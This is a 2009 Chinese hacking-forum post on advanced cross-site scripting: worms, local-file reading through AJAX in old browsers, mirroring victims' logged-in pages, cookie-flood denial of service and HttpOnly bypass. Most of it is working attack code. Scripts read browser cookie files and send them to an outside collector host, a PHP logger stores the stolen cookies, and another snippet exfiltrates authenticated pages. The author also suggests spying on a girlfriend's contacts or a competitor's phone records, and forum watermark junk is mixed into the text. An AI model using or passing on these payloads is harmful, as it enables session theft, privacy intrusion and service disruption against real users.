XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
1 [1 e* ~8 c6 o: ^3 W, a- a8 N. Y本帖最后由 racle 于 2009-5-30 09:19 编辑
- u- a: H1 [; x& l6 H
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
3 y7 }* h5 |/ c2 f- L( `By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
6 V3 u/ U/ a& a/ y转帖请保留版权
& }$ h' @' d6 [. ]
" ~( Z, T$ c1 A1 I, B6 U9 M% N. O

  v  w) R& f$ C. A- B( k; x-------------------------------------------前言---------------------------------------------------------

0 q8 f) ]. @% u: R$ R6 G
6 e# m8 B* U5 c- R4 v" `2 H本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
5 G$ p2 w4 d' E5 d- xhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
2 p2 Z8 `4 G. T. ^http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
9 b- t$ {  a! mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
8 S7 J6 u* P$ j9 M$ G& Z' |http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
9 w1 e7 B% R) \& H% B

' K8 q2 h+ R) f3 D  h% a. L4 J4 F
  u- d+ c5 z1 ^' K9 i- o
$ N& z1 o8 j. H/ Q如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
7 P0 X2 h8 J8 B" ~& Y8 O; V1 m
# X* `5 v" Q! ^( j希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

- v8 }- E2 g+ i* P  R' k如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

: U% |( K! s! N, F8 e2 F0 RBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
( b! E9 [9 ~; `0 J
1 T- `# H; u2 A2 y$ M! \" h  w& g( H2 c$ {QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
1 p, r( o7 y# c  ^
..........
- M' V. Y* J. `, L复制代码------------------------------------------介绍-------------------------------------------------------------
0 w3 K( d; p% A& m$ S4 C/ a
1 I' |+ {9 _2 [" ]4 P什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

( r$ \! J" z& w. _6 T
. W5 ~3 x; z; n& q( k, ]
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
. t6 K9 G( f; X6 N
+ F  G* Q* U4 P$ z* Y3 ^) `& r
! q7 l. |# r2 P5 r
6 Q/ F- A; F( X* e如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( a- C! s* B/ S2 y; [" J复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
# z  q: ]9 B( D2 [$ C9 r
1        通过XSS,我们能实现什么?
4 _9 l+ p" L; Y0 ~
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
- B0 ^7 X4 M4 {& {8 r8 m
/ W, Z* A/ H# x* K# z6 s3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

) V4 T' ^# |$ c' X4        XSS漏洞在输出和输入两个方面怎么才能避免.


8 V2 Q/ p! Z- `) l  R% u. S) K
------------------------------------------研究正题----------------------------------------------------------
* q- A/ P9 R# M
: [* s% }1 O( Y2 ]/ Y7 ?% T) y  w

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
& T3 I& N1 g2 f" \, y' q% u( e复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
  ]- M1 e0 U3 S( D1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
6 ?, L- j9 V0 V8 o) |3 ^/ K3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


! e9 L. i+ b& J& z
# p# I( R5 ?+ Z7 i* w+ @

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
! \1 r8 z6 \; g% J
6 l& ~9 G" J, w0 l7 E8 d2 Z我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


( B6 E5 T  X( L( X& m
% L" `6 w  |6 D+ u. ~* J2 G    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
9 y! u: F- y! X2 y; ^6 H

/ o: h7 m9 _( N+ I5 ?3 y
# x5 _0 j" `0 C5 H. x3 G    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
: b8 f0 }" D; G- @/ E/ b  h
4 t$ U) I5 F# S; B5 @
$ d) T* y7 e. A* ]$ f+ W4 J3 g
" q+ j" \2 S& e; Q( N2 i    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
# A* |4 x, b1 S' C& G, D2 |
; ]; S% M: p& Q" \' K4 q    function $(x){return document.getElementById(x)}
3 ]/ X" j6 j2 t& a$ O

, M8 b# E9 L# r
    function ajax_obj(){
2 v1 D5 T# ~/ w4 f- p2 y$ ?( g/ d
$ u& V* _" X0 Q2 S/ _- Y2 I    var request = false;
0 W- Q  Y! I, M3 {4 v+ a5 ^6 x8 z
    if(window.XMLHttpRequest) {
1 q9 y$ l9 ?0 l4 C3 P+ K6 i+ {
    request = new XMLHttpRequest();
6 V9 Q# U! I: b  N) g
    } else if(window.ActiveXObject) {
& L! r, f' u0 \$ ^' I8 z: L+ v& B
) v! g9 S# h, w+ I. q1 e    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


( C/ X, @# @: p  Q% [4 _; R
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. F' R. }2 b  b! g1 O& p3 N2 j
" P- ^  r: B  r    for(var i=0; i<versions.length; i++) {

% k0 ^, n3 M- u: `" |! V    try {
$ {/ A9 `2 O2 \
& `9 A' d8 K) Z( H- h) H    request = new ActiveXObject(versions);
' H4 B- O" M' I3 h; h5 @! E& T
8 Z7 a' g/ P/ }1 G: M    } catch(e) {}

0 H$ S, {: E* A! _* L# I" ^    }
2 e' O8 H. C4 \; |3 `
! ~! f0 Q7 A9 ~' u    }
2 A4 s& M: `) ^
  Y' f7 q2 M6 w' q* T    return request;

- p9 ~" x; `0 m  m; o) A    }

    var _x = ajax_obj();
; _( f5 m5 w  o
    function _7or3(_m,action,argv){
$ I8 ^' v- ?, ]
) n( j& [% ~7 \! V3 _8 [3 r) x    _x.open(_m,action,false);
" }5 I5 {/ t$ E: U6 R+ @$ X* `
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
8 L. T: S6 ?( _5 |/ `: z) o
/ v7 W/ D1 P% ]$ w' {: |( u  m    return _x.responseText;

8 D  F1 l5 T# m$ h1 ^$ t/ U    }
# e0 x0 S0 ?% M. b4 c) @+ I$ K; V! m
5 @3 g5 g2 r& B- d/ h3 D0 C
* n. r8 Y/ ^/ d4 I. Y  W
; J/ n( a7 P3 I$ ^    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

, s/ P! C/ [' o& U    alert(txt);
4 d( b8 S: h: H$ J- J

5 b6 k6 g, S$ |, @$ k
    </script>
0 g+ L( u2 o2 E! }# C( O复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
; [) K7 Z8 M; ?; x; t" h; W
    function $(x){return document.getElementById(x)}

# R) m5 t3 H" C4 g' _, k
8 A. f2 `- r9 I. O6 h& l
5 q" a. G4 t  C3 a' Q    function ajax_obj(){

7 ?( R2 ]6 D& p1 V7 n0 K    var request = false;

    if(window.XMLHttpRequest) {
. v" ]/ e- @0 v5 K! A- l% r+ _
    request = new XMLHttpRequest();

( q# Q7 l8 |2 h4 e8 T; p    } else if(window.ActiveXObject) {
) r2 P1 b5 C! A5 e4 k) p
6 i" K( \( Y7 X% K    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

4 R7 A* |2 Y7 Z4 ?

' d' p% G2 m6 O- R4 x    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) ~4 `4 c  W7 C- J+ f
    for(var i=0; i<versions.length; i++) {
  v( O" g8 i) {" n9 b' ^
. r* p( w! s% I    try {

    request = new ActiveXObject(versions);
* Q( U9 X# I% Y" ^7 M* |
8 _% V5 T, |" Y  o. e% _3 ?6 \/ q    } catch(e) {}
: y9 K/ }8 b6 H8 R( Q, x
    }

3 v8 t  K8 n# l2 s! Q) H: X    }
6 c# U  ^# ^& x3 h7 y
    return request;

    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){
/ `" D0 b  U9 J1 Q
: M. n% f9 e; ~1 s- H  F, K) X6 ]6 e    _x.open(_m,action,false);
' T, J3 {, c1 V$ q3 L
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
# H5 }" ]" Q& x* P3 M; l- U
4 I* E9 N! _* Y9 W& d" _    return _x.responseText;

    }
+ w/ P! h4 R  }: e

- M' }7 C$ a: ~' u  B% D" ]2 R
    var txt=_7or3("GET","1/11.txt",null);

1 }$ a* G7 P+ b+ M. ?    alert(txt);
5 z8 V7 P# [1 Y- ^4 k
( j* c' |  F4 Q4 l+ d; O

% c1 ~, K' }, P. W8 R, p    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



, A; }. ?+ [5 @/ zChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


0 Y* [  w& z' g! h3 S+ V
<?   

; ^, v' }* x, H7 e/*  

0 c& r' _1 |: l     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
4 s+ R) B* T- T/ A- p2 ^
: |" d4 c. o" M! g" R( J     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
( L: i* M1 ^6 J& N7 B
header("Content-type: application/kxlzx");   

9 o4 t8 q+ V( {- p, J/*  
4 d" l4 D/ n) b; O2 {! E7 x( }" Y3 x
) q- B6 }7 b* `2 W8 z     set header, so just download html file,and open it at local.  

*/  

, I/ Z, Z( H, h& H3 s6 T1 r?>   
5 p% ?* ]2 I% ~% c& w* H6 R
7 X  c1 u3 T" U+ O<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

/ q5 E0 x) \, g" B     <input id="input" name="cookie" value="" type="hidden">   
: M& W2 c0 \4 R2 h
</form>   
& K' z4 i, U5 W  ]  T% ^
. Z4 R  H2 \* b7 q, w# T<script>   
$ k+ o" h8 r2 N. L" ~9 {
" j6 n* T, p  r: [' _7 K# x. ifunction doMyAjax(user)   

, u$ F4 K: i7 y, V$ S% @* j+ c7 G+ o{   
2 ]! P" l6 o+ W. _5 U) t* S
  T) s- N1 S, N; F4 [var time = Math.random();   

/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
9 n  L# c% e% J: j' K
and so on...  
6 I: p+ J& E5 p* \" |
*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
, N2 X, f: m; x2 A
3 k  ~. |, C/ C4 Z0 D# F1 H   

( G2 f- d- r% U; n% y1 }' r$ z+ ostartRequest(strPer);   

: n; a3 i  v* S' \/ M  `$ F4 d

}   

   
" V3 V+ g7 |' ^
function Enshellcode(txt)   

2 @7 F, e8 c9 e& i) u4 z, I4 |6 _  t{   

var url=new String(txt);   

# Q! S3 q+ w5 e: W3 O( rvar i=0,l=0,k=0,curl="";   
# H$ u$ n: P* \. W9 ?
l= url.length;   
$ u+ {9 k' }  p: i/ v6 h% K
for(;i<l;i++){   
2 e5 F0 r- O; K, ~
k=url.charCodeAt(i);   
$ S! H; @+ ~1 \& Q  [
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

! q7 [+ i1 p6 M: E# A8 kif (l%2){curl+="00";}else{curl+="0000";}   

$ _. n0 C1 F: a, [$ H- `, ^curl=curl.replace(/(..)(..)/g,"%u$2$1");   

7 s$ {! G  f. g4 U; Q0 Greturn curl;   

& D- m& l* L2 Y& s* m}   

   
$ E* S% y2 d) l
   

, c2 v% @- P& M7 K4 u6 R8 e( S& `var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   

. e; L- L& [6 N8 _xmlHttp = new XMLHttpRequest();           
, u) u* N1 H9 N1 O& v7 c. H
     }   

     else if(window.ActiveXObject){   

" E* Z) y- q8 y" M7 wxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
: g& j) H) ?! q
     }   
7 X; m8 M( q8 z: n
}   
/ R: y! f% B) G5 l/ [% }
   

function startRequest(doUrl){   
2 O0 ~& w% c) g2 b$ E
   

     createXMLHttp();   
) _+ y/ b# w6 J% ]1 N  i5 Z4 E+ w


% E; V/ Z2 ]% L4 E/ Z8 f0 \; a# ]     xmlHttp.onreadystatechange = handleStateChange;   
( P3 q" N) _& p


5 V0 }& x8 F4 z     xmlHttp.open("GET", doUrl, true);   
0 X! k- j( g. p# E/ g
5 \) }. F4 y7 O% s
) X' H* P1 r* M. l
     xmlHttp.send(null);   
' l3 m/ p8 E6 P
* j( E3 m1 c' ]) L/ k& o
* W) ]. ]- t+ D6 e% b
! _- ~& B  C/ j# N# k; ?: D, z2 M

) u) E  J. W- F. [, r4 a0 K}   
; M0 q# ~; M5 f/ H5 w: A, a5 p0 r
   
9 v  \6 \- M- K  Y8 b
function handleStateChange(){   

% n, w2 \6 h/ X; E7 l: p' |0 y4 Y  t     if (xmlHttp.readyState == 4 ){   
8 D# }0 x$ X+ Y  [7 P' U
0 U# S5 C0 l' o; ~7 ?     var strResponse = "";   
, z4 Y6 u. p* k& S
  h$ |: Q  z. G$ j' z8 u+ F     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
: u" k' l2 R' S4 P9 h) O" Z. f  g7 c
* t1 d/ {4 g4 ?3 f        
% s( ^* D2 f3 R* i5 ]
; r  T1 p7 o" x+ \% x     }   

}   
2 i+ f- D% `5 X& T- \* F& l. k
: I& Z! i3 P( _. v& A& V8 W0 s   
2 U9 Z  g5 N) E! w6 x) [2 U
$ D# h# z* |9 {  ~3 ]. I* L   

- I* {, C0 W) z% Z1 zfunction framekxlzxPost(text)   

' f2 w8 r& e$ o{   

     document.getElementById("input").value = Enshellcode(text);   
+ g  p/ G3 H( B
8 K/ {& }/ q7 ~4 b* F     document.getElementById("form").submit();   
* s' s9 p, O. \/ }0 V" L" j
}   
# l' ?6 s) \: Y; e
   
6 n- O+ n2 i! s* c3 ^  T
  @1 ^  q% c) n, p6 Q- kdoMyAjax("administrator");   

   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

: o. O5 ?4 ]+ ivar xmlHttp;  

$ k7 W8 w" t: Q! Y0 ]+ ?function createXMLHttp(){  
% Z/ ~3 H5 l$ n7 y+ `; M
3 o8 D- y- R% @( u     if(window.XMLHttpRequest){  

! Q( k. b8 I, D' w         xmlHttp = new XMLHttpRequest();         

# Y9 u. s4 M, v7 t0 y& b0 b     }  

- e0 S3 [+ G6 ?6 ]5 @     else if(window.ActiveXObject){  

+ U, k3 f  H  H         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
6 t7 L$ q. w& X$ F
     }  

}  

   

' e6 u' }, H* X' N% O8 ]) O& \! P6 rfunction startRequest(doUrl){  
- @. P) x' }! q0 A) e
2 c2 n1 g0 A5 t! g8 Z2 u8 t7 ~           

     createXMLHttp();  
2 K" X$ k4 C( G# B$ h, p( @
      
8 w/ s! F: A" z: Y. B* D5 l
  r( d- J* ?4 L$ r: k' C     xmlHttp.onreadystatechange = handleStateChange;  

! @# _6 n4 u4 {; e      

; L. R$ E& m5 ]  g9 m4 I/ f+ F     xmlHttp.open("GET", doUrl, true);  
1 _# k; @: B% T! ?- V  Z" S- H
' d5 O5 w7 y% M; y! o7 C. ]      

$ r, \' z6 i6 \) n  b& ~: i, W- |     xmlHttp.send(null);  

7 o& y! i* @, b% ]* L6 N1 {! ~2 \+ b      

9 t+ G% `; y9 l( }8 t      
6 q3 A$ n9 i2 U" @, ~
8 T0 N! s3 N" t/ @, O}   

  X$ \# Z# h- R+ O" }' [5 g   
# P/ w$ i/ I5 V
1 N) x# R* m; e1 V9 Ffunction handleStateChange(){  
8 J- P7 C/ e+ \7 ^( C
     if (xmlHttp.readyState == 4 ){  

( ^6 m' U, |3 u) Q- \, }' Q             var strResponse = "";  
; j, D( x' ?4 F2 ]8 n
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

" j! @7 j7 R' d" z* {# l               

     }  
! e6 Y! l% Q# S, L4 o4 a
}  

   

, D! J( J5 H7 T( Yfunction doMyAjax(user,file)  
  A! B5 e& G+ E
" h! R  X! z; O+ j' X{  

' E, ?" L5 U( p. y! p) q7 [         var time = Math.random();  
1 u. l9 s7 K, _' n4 a
9 M- @. p6 q9 Z           
" W% k# @% P. `% p2 L) }1 r
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
- {$ z) f3 W7 j& D* Y
6 h$ {9 r% ]" p- y) r5 g           
9 a$ ]* n) o1 G+ _4 k) K9 }) L& q" m
, J9 W. p$ M6 F( i8 h         startRequest(strPer);  
% M; Z" t* e8 `' b% x$ q
      
8 }) f8 j$ I7 V. @8 r, c3 h
}  
1 `- P4 Z) Y& U$ ^; `7 a
- F6 p2 B! ^. i$ i" m   
" ^+ I: w6 m: @# |1 x8 v7 f6 G
4 }: Z7 ^/ A! o5 Jfunction framekxlzxPost(text)  
9 R3 T1 m, \/ c4 `
{  
# M$ Z4 L7 N8 }& C; i
3 {0 s, n5 m9 W1 F! t5 s% F     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
) W# @* {" E( d, `- f5 Z0 _9 t
& b! v* x3 d6 Y8 J     alert(/ok/);  
  V) V8 j) X* g1 z! \
" ]$ X9 g" @7 M: ?+ Z4 ?2 \7 u}  
$ R6 }* Q8 V0 m# f4 I
0 u9 X+ d; w* f- F; l- O: O   
, \& K* b& F/ g  f$ Q
7 [' i3 G9 c2 s+ jdoMyAjax('administrator','administrator@alibaba[1].txt');  
/ g7 A+ ]# x! Y
   
6 g' }7 M6 h( I0 q- F6 |& b
</script>
6 q0 U* Z6 N1 J9 ]6 S# ?


- |0 L& V8 I* z* O5 @% F0 E

4 v8 G8 B" D4 T9 I* E* V( Y$ P2 Xa.php

! ^" j% a: _9 _2 {7 m! U  u
5 E3 r: h+ j. a9 [
<?php      
1 n: v/ a( }! V4 ]2 l7 \$ t7 ~$ w$ b
   
6 k8 D9 ~# ]0 F) b# M. {/ ]
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
* u# i3 w: I$ z  f
  
! f. t2 `6 u. O5 i
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

. c& C. B4 r1 i) M% W. M+ z  sfwrite($fp,$_GET["cookie"]);      
8 h& G# k3 N7 V7 Y
$ B- @# V. I- e- T0 h+ k% Gfclose($fp);   

?>
2 l: v) j# d/ U5 a' I  \% `" M复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
5 m! \4 _& i1 s0 m# r, G8 E% B3 Z, q+ o
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
+ u) i$ {( I1 `& X2 I( ~: e. E利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

1 ^) ~+ v5 X" Z代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

* a& x7 ]7 r1 e5 u+ Q' N: b//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
& p# [* F3 P  t9 h# d2 e% }
var image = new Image();
" T( E; z, E6 @  [* v
6 h3 W7 w# ^5 g' I' A* E/ Fimage.style.width = 0;

image.style.height = 0;

% H1 A+ z# O5 w) E% l; j$ ]* @/ uimage.src = s;
5 o  t- h5 ]* B4 L: m8 B
}
1 z) u, @9 A- h
. f, Z9 ~' g7 [' B4 P3 CgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
  z; L% n  `+ E1 t- Z) X3 l+ R( C复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
! l" g, `) \( }! p- r这里引用大风的一段简单代码:<script language="javascript">

, o: z" u- M2 K' X& qvar metastr = "AAAAAAAAAA"; // 10 A
4 h3 \. P, z" y- r' h  Y# M: M
8 W" D3 R  U) U8 W0 n1 Ivar str = "";
$ F2 K9 C+ _+ h7 Q+ f8 y: h
' i% O: Z9 V6 jwhile (str.length < 4000){

    str += metastr;

}
6 D5 V: b) P* q. H# @6 c1 c
$ C! e" H8 X" f& \8 h
8 ~4 r( z1 F# v$ j4 h) e
) E& Y1 \+ s+ |  \. ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

) Q9 n# T# V. R1 x7 z6 M$ K, ]5 \</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ v  H6 a8 h' ], i' I# M' K复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ g& o" s8 Q4 I* M6 Q7 Z1 }server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
8 ^, v" H) S$ P% u4 _% T# {! h/ K
7 h8 r8 E1 S) z, C假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
4 v/ Q+ R# Y1 ]# K' Z" N( O攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


7 K+ F! n) D: W, v1 H- K
& `+ a4 g) Z+ b9 \. j) U
: t/ t! X) S$ `+ |  o
% K& V& W! d9 v9 w
$ o' B) d& L8 V! O: ^) ^8 [(III) Http only bypass 与 补救对策:
5 ~( @- S$ ^$ M5 T: L; e) v
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
+ O$ i2 \! s' W
<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

5 r8 e2 i6 I% M1 _9 K) o" K* I  f}
+ x' {$ F: n' q* Y8 e. A
1 H4 T) D2 q" |" ?) Q$ j7 q. F

' [! `! z+ W, W' Z' {% A
- @* t& \0 V3 y3 E
function httpOnlyCookie() {

* Q: ]+ Y! z, a: W, Ldocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
3 w# z7 T4 f  n' m5 z# x

1 {2 y# S' n; w  V( J9 h
//-->

</script>


# x6 c1 u2 P: T/ ?. l: v0 r' J
; x) T" I$ \% A* k# ^* @# @<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

5 S. Z( E3 {' x$ h1 v<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

$ t2 i/ d/ g' J8 x+ @

var request = false;
* e8 ?' r0 i( F' m# \/ n; O
1 l0 @) m: \* v# Y        if(window.XMLHttpRequest) {
6 h' K$ {8 w1 J
            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
( b/ O- ]! ^" \0 S
                request.overrideMimeType('text/xml');

) J% S! P, t  ~, h! _7 F& b: a            }
: t; C' U, ^4 L$ c
        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
! u3 W1 [/ V5 h9 d
2 F8 \7 Q6 x$ F( r' `# m2 }                try {

5 S5 P1 e7 S! X! U# M' o1 G* e                    request = new ActiveXObject(versions);

$ I. ?; B* p- q8 u3 A6 d                } catch(e) {}

            }
' {, `: y0 k9 x4 l7 Y4 ^# I. y
, a( R+ @! k1 b        }
: K* E1 d# I. {( H* X* d
7 ?" n. Q" K: L/ a8 xxmlHttp=request;
, K& {' L! m/ a8 l& ~
. C- j; H: U1 ixmlHttp.open("TRACE","http://www.vul.com",false);
( `4 {, ?' k: \  m
xmlHttp.send(null);

9 @% H" c5 @3 f3 H+ }  D/ vxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
% [5 P9 R9 Y! P: Q' ~复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

& r' {8 w1 n9 }  Z9 Hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. X# l1 _9 C" y
. Q/ U* f: @6 R+ T0 {( T9 UXmlHttp.open("GET","http://www.google.com",false);
4 Y8 o4 }  X+ T. B; g. s
5 w6 @( d' `9 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

$ z! f! W$ Y0 F1 ]9 X% R0 [XmlHttp.send(null);

# K  _/ N1 i/ s8 E' j4 n; Dvar resource=xmlHttp.responseText
! H$ ~# }# S3 o' s
resource.search(/cookies/);

3 O9 p2 p( [/ m8 B% r/ M# M......................

1 l: @8 I9 m- `; z1 m</script>

7 I* |4 O$ g0 y2 V
